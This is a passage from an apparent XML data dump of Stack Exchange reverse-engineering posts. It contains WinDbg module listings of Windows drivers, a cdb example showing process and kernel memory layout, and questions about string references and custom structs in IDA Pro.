8784f000   vdrvroot   (pdb symbols)          c:\symbols\vdrvroot.pdb\3C9D6939EF564015B8D0728611C88C221\vdrvroot.pdb&#xA;    Loaded symbol image file: vdrvroot.sys&#xA;    Image path: \SystemRoot\system32\drivers\vdrvroot.sys&#xA;    Image name: vdrvroot.sys&#xA;    Timestamp:        Mon Jul 13 18:46:19 2009 (4A5BC74B)&#xA;    CheckSum:         00009326&#xA;    ImageSize:        0000B000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;8784f000 87860000   partmgr    (pdb symbols)          c:\symbols\partmgr.pdb\7CA861FF7879483ABA38CE28186F293E2\partmgr.pdb&#xA;    Loaded symbol image file: partmgr.sys&#xA;    Image path: \SystemRoot\System32\drivers\partmgr.sys&#xA;    Image name: partmgr.sys&#xA;    Timestamp:        Sat Nov 20 02:38:14 2010 (4CE788F6)&#xA;    CheckSum:         0001BB55&#xA;    ImageSize:        00011000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87860000 87868000   compbatt   (pdb symbols)          c:\symbols\compbatt.pdb\EE14F03B54BF49B4B62A0EF912A59C8F1\compbatt.pdb&#xA;    Loaded symbol image file: compbatt.sys&#xA;    Image path: \SystemRoot\system32\DRIVERS\compbatt.sys&#xA;    Image name: compbatt.sys&#xA;    Timestamp:        Mon Jul 13 18:19:18 2009 (4A5BC0F6)&#xA;    CheckSum:         00006941&#xA;    ImageSize:        00008000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87868000 87873000   BATTC      (pdb symbols)          c:\symbols\battc.pdb\53C47BEA2F08470BB58DFD1566285EC71\battc.pdb&#xA;    Loaded symbol image file: BATTC.SYS&#xA;    Image path: \SystemRoot\system32\DRIVERS\BATTC.SYS&#xA;    Image name: BATTC.SYS&#xA;    Timestamp:        Mon Jul 13 18:19:15 2009 (4A5BC0F3)&#xA;    CheckSum:         0000B849&#xA;    ImageSize:        0000B000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87873000 87883000   volmgr     (pdb symbols)          c:\symbols\volmgr.pdb\4AF04B598C494297B1C69F95823AA9F81\volmgr.pdb&#xA;    Loaded symbol image file: volmgr.sys&#xA;    Image path: \SystemRoot\system32\drivers\volmgr.sys&#xA;    Image name: volmgr.sys&#xA;    Timestamp:        Sat Nov 20 02:38:06 2010 (4CE788EE)&#xA;    CheckSum:         00016E1A&#xA;    ImageSize:        00010000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87883000 878ce000   volmgrx    (pdb symbols)          c:\symbols\volmgrx.pdb\433F00DD3CC34DE8BC3F9E4BDDACA5EE1\volmgrx.pdb&#xA;    Loaded symbol image file: volmgrx.sys&#xA;    Image path: \SystemRoot\System32\drivers\volmgrx.sys&#xA;    Image name: volmgrx.sys&#xA;    Timestamp:        Mon Jul 13 18:11:41 2009 (4A5BBF2D)&#xA;    CheckSum:         0004A22A&#xA;    ImageSize:        0004B000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;878ce000 878d5000   intelide   (no symbols)           &#xA;    Loaded symbol image file: intelide.sys&#xA;    Image path: \SystemRoot\system32\drivers\intelide.sys&#xA;    Image name: intelide.sys&#xA;    Timestamp:        Mon Jul 13 18:11:19 2009 (4A5BBF17)&#xA;    CheckSum:         00006324&#xA;    ImageSize:        00007000&#xA;    File version:     6.1.7600.16385&#xA;    Product version:  6.1.7600.16385&#xA;    File flags:       0 (Mask 3F)&#xA;    File OS:          40004 NT Win32&#xA;    File type:        3.7 Driver&#xA;    File date:        00000000.00000000&#xA;    Translations:     0409.04b0&#xA;    CompanyName:      Microsoft Corporation&#xA;    ProductName:      Microsoft® Windows® Operating System&#xA;    InternalName:     intelide.sys&#xA;    OriginalFilename: intelide.sys&#xA;    ProductVersion:   6.1.7600.16385&#xA;    FileVersion:      6.1.7600.16385 (win7_rtm.090713-1255)&#xA;    FileDescription:  Intel PCI IDE Driver&#xA;    LegalCopyright:   © Microsoft Corporation. All rights reserved.&#xA;878d5000 878e3000   PCIIDEX    (pdb symbols)          c:\symbols\pciidex.pdb\8B7BC6201128486CB5B03916EBD5FF8E1\pciidex.pdb&#xA;    Loaded symbol image file: PCIIDEX.SYS&#xA;    Image path: \SystemRoot\system32\drivers\PCIIDEX.SYS&#xA;    Image name: PCIIDEX.SYS&#xA;    Timestamp:        Mon Jul 13 18:11:15 2009 (4A5BBF13)&#xA;    CheckSum:         0000FC04&#xA;    ImageSize:        0000E000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;878e3000 878f9000   mountmgr   (pdb symbols)          c:\symbols\mountmgr.pdb\356DDF9839E040638E034EEA956C28F81\mountmgr.pdb&#xA;    Loaded symbol image file: mountmgr.sys&#xA;    Image path: \SystemRoot\System32\drivers\mountmgr.sys&#xA;    Image name: mountmgr.sys&#xA;    Timestamp:        Sat Nov 20 02:38:09 2010 (4CE788F1)&#xA;    CheckSum:         00014708&#xA;    ImageSize:        00016000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;878f9000 87922180   vmbus      (pdb symbols)          c:\symbols\vmbus.pdb\35B5AB3E6BDF4D3FA0BDC6AC31AC97FC1\vmbus.pdb&#xA;    Loaded symbol image file: vmbus.sys&#xA;    Image path: \SystemRoot\system32\drivers\vmbus.sys&#xA;    Image name: vmbus.sys&#xA;    Timestamp:        Sat Nov 20 03:14:58 2010 (4CE79192)&#xA;    CheckSum:         0002F9E5&#xA;    ImageSize:        00029180&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87923000 87935000   winhv      (pdb symbols)          c:\symbols\winhv.pdb\5B6B8428A8FA4152919E805179599ED31\winhv.pdb&#xA;    Loaded symbol image file: winhv.sys&#xA;    Image path: \SystemRoot\system32\drivers\winhv.sys&#xA;    Image name: winhv.sys&#xA;    Timestamp:        Sat Nov 20 02:38:15 2010 (4CE788F7)&#xA;    CheckSum:         00010243&#xA;    ImageSize:        00012000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87935000 8793e000   atapi      (pdb symbols)          c:\symbols\atapi.pdb\EF544461A5D5482980C2CA01640A6D621\atapi.pdb&#xA;    Loaded symbol image file: atapi.sys&#xA;    Image path: \SystemRoot\system32\drivers\atapi.sys&#xA;    Image name: atapi.sys&#xA;    Timestamp:        Mon Jul 13 18:11:15 2009 (4A5BBF13)&#xA;    CheckSum:         00014C06&#xA;    ImageSize:        00009000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;8793e000 87961000   ataport    (pdb symbols)          c:\symbols\ataport.pdb\C9AF9FE9166548FD86EFAC017F6023011\ataport.pdb&#xA;    Loaded symbol image file: ataport.SYS&#xA;    Image path: \SystemRoot\system32\drivers\ataport.SYS&#xA;    Image name: ataport.SYS&#xA;    Timestamp:        Sat Nov 20 02:38:00 2010 (4CE788E8)&#xA;    CheckSum:         0002B87F&#xA;    ImageSize:        00023000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87961000 87979000   lsi_sas    (pdb symbols)          c:\symbols\lsi_sas.pdb\FCC2DAF36299423A9765B62D750A97461\lsi_sas.pdb&#xA;    Loaded symbol image file: lsi_sas.sys&#xA;    Image path: \SystemRoot\system32\DRIVERS\lsi_sas.sys&#xA;    Image name: lsi_sas.sys&#xA;    Timestamp:        Mon May 18 19:19:55 2009 (4A11FB2B)&#xA;    CheckSum:         00024959&#xA;    ImageSize:        00018000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87979000 879c1000   storport   (pdb symbols)          c:\symbols\storport.pdb\1445D4DB7BA84A0081ABB729753A93942\storport.pdb&#xA;    Loaded symbol image file: storport.sys&#xA;    Image path: \SystemRoot\system32\DRIVERS\storport.sys&#xA;    Image name: storport.sys&#xA;    Timestamp:        Thu Mar 10 21:56:00 2011 (4D799D50)&#xA;    CheckSum:         000277A3&#xA;    ImageSize:        00048000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;879c1000 879ca000   amdxata    (pdb symbols)          c:\symbols\amdxata.pdb\5E66F230920844408A1EE389D50B6B4A1\amdxata.pdb&#xA;    Loaded symbol image file: amdxata.sys&#xA;    Image path: \SystemRoot\system32\drivers\amdxata.sys&#xA;    Image name: amdxata.sys&#xA;    Timestamp:        Fri Mar 19 11:19:01 2010 (4BA3A3F5)&#xA;    CheckSum:         000147B2&#xA;    ImageSize:        00009000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;879ca000 879fe000   fltmgr     (pdb symbols)          c:\symbols\fltMgr.pdb\E6CA9E082E70438988788CB58DB340B01\fltMgr.pdb&#xA;    Loaded symbol image file: fltmgr.sys&#xA;    Image path: \SystemRoot\system32\drivers\fltmgr.sys&#xA;    Image name: fltmgr.sys&#xA;    Timestamp:        Mon Jul 13 18:11:13 2009 (4A5BBF11)&#xA;    CheckSum:         000382A8&#xA;    ImageSize:        00034000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87a00000 87a0e000   pcw        (pdb symbols)          c:\symbols\pcw.pdb\D368300F340A423EBBA32FBDDDEC24B91\pcw.pdb&#xA;    Loaded symbol image file: pcw.sys&#xA;    Image path: \SystemRoot\System32\drivers\pcw.sys&#xA;    Image name: pcw.sys&#xA;    Timestamp:        Mon Jul 13 18:11:10 2009 (4A5BBF0E)&#xA;    CheckSum:         000194CF&#xA;    ImageSize:        0000E000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87a0e000 87a17000   Fs_Rec     (pdb symbols)          c:\symbols\fs_rec.pdb\3465ED05A901452FAD07E77351F094591\fs_rec.pdb&#xA;    Loaded symbol image file: Fs_Rec.sys&#xA;    Image path: \SystemRoot\System32\Drivers\Fs_Rec.sys&#xA;    Image name: Fs_Rec.sys&#xA;    Timestamp:        Mon Jul 13 18:11:14 2009 (4A5BBF12)&#xA;    CheckSum:         0000845A&#xA;    ImageSize:        00009000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87a2a000 87b59000   Ntfs       (pdb symbols)          c:\symbols\ntfs.pdb\6D39EA084D324936A61D6DBDE4D1172B2\ntfs.pdb&#xA;    Loaded symbol image file: Ntfs.sys&#xA;    Image path: \SystemRoot\System32\Drivers\Ntfs.sys&#xA;    Image name: Ntfs.sys&#xA;    Timestamp:        Thu Mar 10 21:21:11 2011 (4D799527)&#xA;    CheckSum:         0012D977&#xA;    ImageSize:        0012F000&#xA;    File version:     6.1.7601.17577&#xA;    Product version:  6.1.7601.17577&#xA;    File flags:       0 (Mask 3F)&#xA;    File OS:          40004 NT Win32&#xA;    File type:        3.7 Driver&#xA;    File date:        00000000.00000000&#xA;    Translations:     0409.04b0&#xA;    CompanyName:      Microsoft Corporation&#xA;    ProductName:      Microsoft® Windows® Operating System&#xA;    InternalName:     ntfs.sys&#xA;    OriginalFilename: ntfs.sys&#xA;    ProductVersion:   6.1.7601.17577&#xA;    FileVersion:      6.1.7601.17577 (win7sp1_gdr.110310-1504)&#xA;    FileDescription:  NT File System Driver&#xA;    LegalCopyright:   © Microsoft Corporation. All rights reserved.&#xA;87b59000 87b84000   msrpc      (pdb symbols)          c:\symbols\msrpc.pdb\B4C428CFD1024C43BD3E2B10D1A8F0711\msrpc.pdb&#xA;    Loaded symbol image file: msrpc.sys&#xA;    Image path: \SystemRoot\System32\Drivers\msrpc.sys&#xA;    Image name: msrpc.sys&#xA;    Timestamp:        Mon Jul 13 18:11:59 2009 (4A5BBF3F)&#xA;    CheckSum:         00036B4F&#xA;    ImageSize:        0002B000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87b84000 87b97000   ksecdd     (pdb symbols)          c:\symbols\ksecdd.pdb\A4060D19AD914446AB889720E6B7284C1\ksecdd.pdb&#xA;    Loaded symbol image file: ksecdd.sys&#xA;    Image path: \SystemRoot\System32\Drivers\ksecdd.sys&#xA;    Image name: ksecdd.sys&#xA;    Timestamp:        Wed Nov 16 21:15:56 2011 (4EC47C6C)&#xA;    CheckSum:         00015ED3&#xA;    ImageSize:        00013000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87b97000 87bf4000   cng        (pdb symbols)          c:\symbols\cng.pdb\E729F2E7DC70413D986258B0E44C22CC1\cng.pdb&#xA;    Loaded symbol image file: cng.sys&#xA;    Image path: \SystemRoot\System32\Drivers\cng.sys&#xA;    Image name: cng.sys&#xA;    Timestamp:        Wed Nov 16 21:36:35 2011 (4EC48143)&#xA;    CheckSum:         00068127&#xA;    ImageSize:        0005D000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87c07000 87cbe000   ndis       (pdb symbols)          c:\symbols\ndis.pdb\4DAAA54E2C26455DB2471D696BC8E6A62\ndis.pdb&#xA;    Loaded symbol image file: ndis.sys&#xA;    Image path: \SystemRoot\system32\drivers\ndis.sys&#xA;    Image name: ndis.sys&#xA;    Timestamp:        Sat Nov 20 02:39:19 2010 (4CE78937)&#xA;    CheckSum:         000BD48D&#xA;    ImageSize:        000B7000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87cbe000 87cfc000   NETIO      (pdb symbols)          c:\symbols\netio.pdb\7A33726ABE884384BFDFB951F05D13AC2\netio.pdb&#xA;    Loaded symbol image file: NETIO.SYS&#xA;    Image path: \SystemRoot\system32\drivers\NETIO.SYS&#xA;    Image name: NETIO.SYS&#xA;    Timestamp:        Sat Nov 20 02:40:03 2010 (4CE78963)&#xA;    CheckSum:         0003F253&#xA;    ImageSize:        0003E000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87cfc000 87d21000   ksecpkg    (pdb symbols)          c:\symbols\ksecpkg.pdb\8C991B24F8F24A96B28B8268237920CF1\ksecpkg.pdb&#xA;    Loaded symbol image file: ksecpkg.sys&#xA;    Image path: \SystemRoot\System32\Drivers\ksecpkg.sys&#xA;    Image name: ksecpkg.sys&#xA;    Timestamp:        Wed Nov 16 21:37:34 2011 (4EC4817E)&#xA;    CheckSum:         0002C883&#xA;    ImageSize:        00025000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87d21000 87d60000   volsnap    (pdb symbols)          c:\symbols\volsnap.pdb\1F66E7165E8F4BD982A34A9DFA1BBFD31\volsnap.pdb&#xA;    Loaded symbol image file: volsnap.sys&#xA;    Image path: \SystemRoot\system32\drivers\volsnap.sys&#xA;    Image name: volsnap.sys&#xA;    Timestamp:        Sat Nov 20 02:38:13 2010 (4CE788F5)&#xA;    CheckSum:         0003CA6D&#xA;    ImageSize:        0003F000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87d60000 87d92000   fvevol     (pdb symbols)          c:\symbols\fvevol.pdb\DC4549C710EE425F8956C7D82BFE83651\fvevol.pdb&#xA;    Loaded symbol image file: fvevol.sys&#xA;    Image path: \SystemRoot\System32\DRIVERS\fvevol.sys&#xA;    Image name: fvevol.sys&#xA;    Timestamp:        Sat Nov 20 02:40:22 2010 (4CE78976)&#xA;    CheckSum:         000390DC&#xA;    ImageSize:        00032000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87d92000 87db7000   CLASSPNP   (pdb symbols)          c:\symbols\classpnp.pdb\64A86A6AD27D4730A78ECC25166E13562\classpnp.pdb&#xA;    Loaded symbol image file: CLASSPNP.SYS&#xA;    Image path: \SystemRoot\system32\DRIVERS\CLASSPNP.SYS&#xA;    Image name: CLASSPNP.SYS&#xA;    Timestamp:        Mon Jul 13 18:11:20 2009 (4A5BBF18)&#xA;    CheckSum:         0002BBFE&#xA;    ImageSize:        00025000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87e00000 87e10000   mup        (pdb symbols)          c:\symbols\mup.pdb\E96F69551E2447289250F71FB5AB6E0C2\mup.pdb&#xA;    Loaded symbol image file: mup.sys&#xA;    Image path: \SystemRoot\System32\Drivers\mup.sys&#xA;    Image name: mup.sys&#xA;    Timestamp:        Mon Jul 13 18:14:14 2009 (4A5BBFC6)&#xA;    CheckSum:         00014283&#xA;    ImageSize:        00010000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87e10000 87e18000   hwpolicy   (pdb symbols)          c:\symbols\hwpolicy.pdb\0F041CEBADCA48F4BC65F68463272F1D1\hwpolicy.pdb&#xA;    Loaded symbol image file: hwpolicy.sys&#xA;    Image path: \SystemRoot\System32\drivers\hwpolicy.sys&#xA;    Image name: hwpolicy.sys&#xA;    Timestamp:        Sat Nov 20 02:37:35 2010 (4CE788CF)&#xA;    CheckSum:         0000B2B9&#xA;    ImageSize:        00008000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87e18000 87e29000   disk       (pdb symbols)          c:\symbols\disk.pdb\D2AD04F7F4BF45C8A8F0E2BF689326F11\disk.pdb&#xA;    Loaded symbol image file: disk.sys&#xA;    Image path: \SystemRoot\system32\DRIVERS\disk.sys&#xA;    Image name: disk.sys&#xA;    Timestamp:        Mon Jul 13 18:11:28 2009 (4A5BBF20)&#xA;    CheckSum:         000152A4&#xA;    ImageSize:        00011000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87e3e000 87f88000   tcpip      (pdb symbols)          c:\symbols\tcpip.pdb\676C275B8EAE4B50A19255B333A152BA2\tcpip.pdb&#xA;    Loaded symbol image file: tcpip.sys&#xA;    Image path: \SystemRoot\System32\drivers\tcpip.sys&#xA;    Image name: tcpip.sys&#xA;    Timestamp:        Wed Sep 28 22:22:11 2011 (4E83E463)&#xA;    CheckSum:         0013EA1F&#xA;    ImageSize:        0014A000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87f88000 87fb9000   fwpkclnt   (pdb symbols)          c:\symbols\fwpkclnt.pdb\FDE8223F22C54AEA8061EE56EA16A0251\fwpkclnt.pdb&#xA;    Loaded symbol image file: fwpkclnt.sys&#xA;    Image path: \SystemRoot\System32\drivers\fwpkclnt.sys&#xA;    Image name: fwpkclnt.sys&#xA;    Timestamp:        Sat Nov 20 02:39:08 2010 (4CE7892C)&#xA;    CheckSum:         0003B983&#xA;    ImageSize:        00031000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87fb9000 87fc1380   vmstorfl   (pdb symbols)          c:\symbols\vmstorfl.pdb\D7FD176CC0134139B2EE4BEAF352AEE41\vmstorfl.pdb&#xA;    Loaded symbol image file: vmstorfl.sys&#xA;    Image path: \SystemRoot\system32\drivers\vmstorfl.sys&#xA;    Image name: vmstorfl.sys&#xA;    Timestamp:        Sat Nov 20 03:14:37 2010 (4CE7917D)&#xA;    CheckSum:         000131D0&#xA;    ImageSize:        00008380&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87fc2000 87fca000   spldr      (no symbols)           &#xA;    Loaded symbol image file: spldr.sys&#xA;    Image path: \SystemRoot\System32\Drivers\spldr.sys&#xA;    Image name: spldr.sys&#xA;    Timestamp:        Mon May 11 11:13:47 2009 (4A084EBB)&#xA;    CheckSum:         0000767D&#xA;    ImageSize:        00008000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87fca000 87ff7000   rdyboost   (pdb symbols)          c:\symbols\rdyboost.pdb\53BB42ABE1404332962CA2AEA8301D331\rdyboost.pdb&#xA;    Loaded symbol image file: rdyboost.sys&#xA;    Image path: \SystemRoot\System32\drivers\rdyboost.sys&#xA;    Image name: rdyboost.sys&#xA;    Timestamp:        Sat Nov 20 03:00:07 2010 (4CE78E17)&#xA;    CheckSum:         000394EA&#xA;    ImageSize:        0002D000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;8ca08000 8ca49000   rdbss      (pdb symbols)          c:\symbols\rdbss.pdb\A65B6296E0414A128A1951A1350D32C02\rdbss.pdb&#xA;    Loaded symbol image file: rdbss.sys&#xA;    Image path: \SystemRoot\system32\DRIVERS\rdbss.sys&#xA;    Image name: rdbss.sys&#xA;    Timestamp:        Sat Nov 20 02:42:44 2010 (4CE78A04)&#xA;    CheckSum:         000464DE&#xA;    ImageSize:        00041000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;8ca49000 8ca53000   nsiproxy   (pdb symbols)          c:\symbols\nsiproxy.pdb\C05F47CD56124B77BD71E3DFB669D4FF1\nsiproxy.pdb&#xA;    Loaded symbol image file: nsiproxy.sys&#xA;    Image path: \SystemRoot\system32\drivers\nsiproxy.sys&#xA;    Image name: nsiproxy.sys&#xA;    Timestamp:        Mon Jul 13 18:12:08 2009 (4A5BBF48)&#xA;    CheckSum:         0000939B&#xA;    ImageSize:        0000A000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;8ca53000 8ca5d000   mssmbios   (pdb symbols)          c:\symbols\mssmbios.pdb\B9453B9B745D45DE974BA45D910B78481\mssmbios.pdb&#xA;    Loaded symbol image file: mssmbios.sys&#xA;    Image path: \SystemRoot\system32\drivers\mssmbios.sys&#xA;    Image name: mssmbios.sys&#xA;    Timestamp:        Mon Jul 13 18:19:25 2009 (4A5BC0FD)&#xA;    CheckSum:         0000B8F6&#xA;    ImageSize:        0000A000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;8ca5d000 8ca69000   discache   (pdb symbols)          c:\symbols\discache.pdb\1F3066C30EA34CC381D3006454C11BD11\discache.pdb&#xA;    Loaded symbol image file: discache.sys&#xA;    Image path: \SystemRoot\System32\drivers\discache.sys&#xA;    Image name: discache.sys&#xA;    Timestamp:        Mon Jul 13 18:24:04 2009 (4A5BC214)&#xA;    CheckSum:         0000EDA3&#xA;    ImageSize:        0000C000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;8ca69000 8cacd000   csc        (pdb symbols)          c:\symbols\csc.pdb\A6CAEC9D41C74DECA0E523C20AAB9A4F2\csc.pdb&#xA;    Loaded symbol image file: csc.sys&#xA;    Image path: \SystemRoot\system32\drivers\csc.sys&#xA;    Image name: csc.sys&#xA;    Timestamp:        Sat Nov 20 02:44:32 2010 (4CE78A70)&#xA;    CheckSum:         00065355&#xA;    ImageSize:        00064000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;8cacd000 8cae5000   dfsc       (pdb symbols)          c:\symbols\dfsc.pdb\52BC36B80CED4847964EF156BC67E96E1\dfsc.pdb&#xA;    Loaded symbol image file: dfsc.sys&#xA;    Image path: \SystemRoot\System32\Drivers\dfsc.sys&#xA;    Image name: dfsc.sys&#xA;    Timestamp:        Sat Nov 20 02:42:32 2010 (4CE789F8)&#xA;    CheckSum:         00015073&#xA;    ImageSize:        00018000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-07-28T15:27:24.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9483" PostTypeId="2" ParentId="9477" CreationDate="2015-07-28T20:07:43.730" Score="2" Body="&lt;p&gt;if you have windbg installed open a command prompt and execute &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:&gt;cdb -c &quot;!address;.attach -k;g;!address;.detach;q&quot; calc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    0:000&amp;gt; cdb: Reading initial command '!address;.attach -k;g;!address;.detach;q'&#xA;&#xA;      BaseAddr EndAddr+1 RgnSize     Type       State                 Protect             Usage&#xA;    -------------------------------------------------------------------------------------------&#xA;    *        0    10000    10000             MEM_FREE    PAGE_NOACCESS                      Free&#xA;    *    10000    12000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     &amp;lt;unclassified&amp;gt;&#xA;    *    12000    20000     e000             MEM_FREE    PAGE_NOACCESS                      Free&#xA;    *    20000    21000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     &amp;lt;unclassified&amp;gt;&#xA;&#xA;    snip--------------------------------&#xA;PAGE_NOACCESS                      Free&#xA;    * 7ffb0000 7ffd4000    24000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      MemoryMappedFile &quot;PageFile&quot;&#xA;    * 7ffd4000 7ffdc000     8000             MEM_FREE    PAGE_NOACCESS                      Free&#xA;    * 7ffdc000 7ffdd000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     PEB [35c]&#xA;    * 7ffdd000 7ffdf000     2000             MEM_FREE    PAGE_NOACCESS                      Free&#xA;    * 7ffdf000 7ffe0000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     TEB [35c.d0; ~0]&#xA;    * 7ffe0000 7ffe1000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READONLY                      &amp;lt;unclassified&amp;gt;&#xA;    |-7ffe1000 7fff0000     f000 MEM_PRIVATE MEM_RESERVE PAGE_NOACCESS                      &amp;lt;unclassified&amp;gt;&#xA;&#xA;    Attach will occur on next execution&#xA;    WARNING: Local kernel debugging requires booting with kernel&#xA;    debugging support (/debug or bcdedit -debug on) to work optimally.&#xA;&#xA;      804d7000 - 001f9000&#xA;              Usage       KernelSpaceUsageImage&#xA;              ImageName   ntkrnlpa.exe&#xA;&#xA;      81ec6000 - 00df0000&#xA;              Usage       KernelSpaceUsagePFNDatabase&#xA;&#xA;      82cb6000 - 08000000&#xA;              Usage       KernelSpaceUsageNonPagedPool&#xA;&#xA;      a71b7000 - 00004000&#xA;              Usage       KernelSpaceUsageKernelStack&#xA;              KernelStack 8ab4eda8 : 23c.6a8&#xA;&#xA;snip-----------------------------------------------------------&#xA;      ba5a0000 - 00004000&#xA;              Usage       KernelSpaceUsageKernelStack&#xA;              KernelStack 8a717020 : 4.140&#xA;&#xA;      ba5a4000 - 00004000&#xA;              Usage       KernelSpaceUsageKernelStack&#xA;              KernelStack 8aac0bd8 : 190.1b8&#xA;&#xA;      bb800000 - 00400000&#xA;              Usage       KernelSpaceUsageSessionPool&#xA;&#xA;      bbc00000 - 03400000&#xA;              Usage       KernelSpaceUsageSessionView&#xA;&#xA;      bf000000 - 01000000&#xA;              Usage       KernelSpaceUsageSessionImage&#xA;&#xA;      c1200000 - 1fe00000&#xA;              Usage       KernelSpaceUsageSystemCache&#xA;&#xA;      e1000000 - 16800000&#xA;              Usage       KernelSpaceUsagePagedPool&#xA;&#xA;      f7be0000 - 08000000&#xA;              Usage       KernelSpaceUsageNonPagedPoolExpansion&#xA;&#xA;    Detached&#xA;    quit:&#xA;&#xA;    C:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-07-28T20:07:43.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9484" PostTypeId="1" AcceptedAnswerId="9488" CreationDate="2015-07-28T20:18:43.530" Score="0" ViewCount="2037" Body="&lt;p&gt;I have two simple questions in IDAPro:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I find string references in one function only (not the whole program) ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I breakpoint on each string reference in IDAPro ? It is easy to do in OllyDbg but I don't know how to do it in IDAPro ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12628" LastEditorUserId="53" LastEditDate="2015-07-28T22:06:33.153" LastActivityDate="2015-07-29T06:51:59.860" Title="Strings in a function" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9485" PostTypeId="1" AcceptedAnswerId="13491" CreationDate="2015-07-28T20:19:52.100" Score="6" ViewCount="9757" Body="&lt;p&gt;I've encountered this function, which accepts a pointer to what I believe is a custom C struct. I came to this conclusion based on subsequent access to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arg_0= dword ptr  4   ;struct passed in&#xA;&#xA;push    ebx&#xA;push    ebp&#xA;mov     ebp, [esp+8+arg_0]  ; store pointer of struct in ebp&#xA;push    esi&#xA;push    edi&#xA;xor     ebx, ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and, not too far from above, I see it being populated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [ebp+0D4h], bl&#xA;mov     [ebp+0F4h], bl&#xA;mov     [ebp+114h], bl&#xA;xor     eax, eax&#xA;mov     [ebp+0B8h], eax&#xA;mov     [ebp+0BCh], eax&#xA;mov     [ebp+0C0h], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not know the size of the structure, but I've seen &lt;code&gt;[ebp+0f14h]&lt;/code&gt;. Therefore, I've defined a custom IDA sturct of size &lt;code&gt;0xF14&lt;/code&gt;. Now I'm having trouble with applying this custom structure to this pointer. I've tried &lt;code&gt;Alt+Q&lt;/code&gt; then selecting my own custom struct, but it is not working. The  output window says &lt;code&gt;Command &quot;DeclareStructVar&quot; failed&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom 